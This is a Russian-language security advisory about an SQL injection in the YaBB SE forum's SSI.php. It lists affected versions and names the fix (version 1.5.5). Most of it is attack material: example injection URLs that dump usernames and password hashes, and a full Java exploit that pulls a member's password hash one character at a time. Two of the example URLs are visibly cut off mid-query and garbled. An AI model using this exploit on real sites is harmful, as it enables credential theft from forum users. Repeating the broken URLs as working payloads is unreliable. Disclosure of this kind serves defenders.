Security Lab

SQL инъекция в YaBB SE форуме

Дата публикации:22.01.2004
Дата изменения:17.10.2006
Всего просмотров:2804
Опасность:
Критическая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: YaBB SE 1.5.4, 1.5.3 и более ранние версии

Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'. Удаленный пользователь может внедрить произвольные SQL команды.

Удаленный атакующий может представить специально обработанный URL, чтобы выполнить произвольные команды на основной базе данных. Уязвимость связанна с недостаточной фильтрацией данных, представленных пользователем в параметре ID_MEMEBER в функциях 'recentTopics' и 'welcome'. Пример:

http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)
+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+
lmr.ID_MEN+SELECT+ID_MEMBER,+
memberName,null,passwd,null,passwd,null,null,null,null,null,null+
FROM+yabbse_members+/*

http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1)
+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_ME
ull,null+FROM+yabbse_members+/*

http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)
+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+

Эксплоит:
/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;

public class yabb {
    public static void main(String[] args) throws Exception {

 boolean lastChar = false;
 String Key = "";

        for ( int count=1; count <= 32 ; count++)
        {
  URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

  BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));

  String inputLine;

  inputLine = in.readLine();

  int pos  = inputLine.indexOf("action=im");
  int pos2 = inputLine.indexOf(" ", pos + 11);

  if ( pos < 0 )
  {
   System.out.println("ERROR: The server doesn't return any data");
   System.exit(0);
  }

  String theNumber = inputLine.substring( pos + 11, pos2);

  System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
  Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
  in.close();
 }
 System.out.println("Hashed password : " + Key);
    }

URL производителя: http://www.yabbse.org

Решение:Установите обновленную версию программы (1.5.5): http://www.yabbse.org/download.php

Ссылки: Yabb SE SQL Injection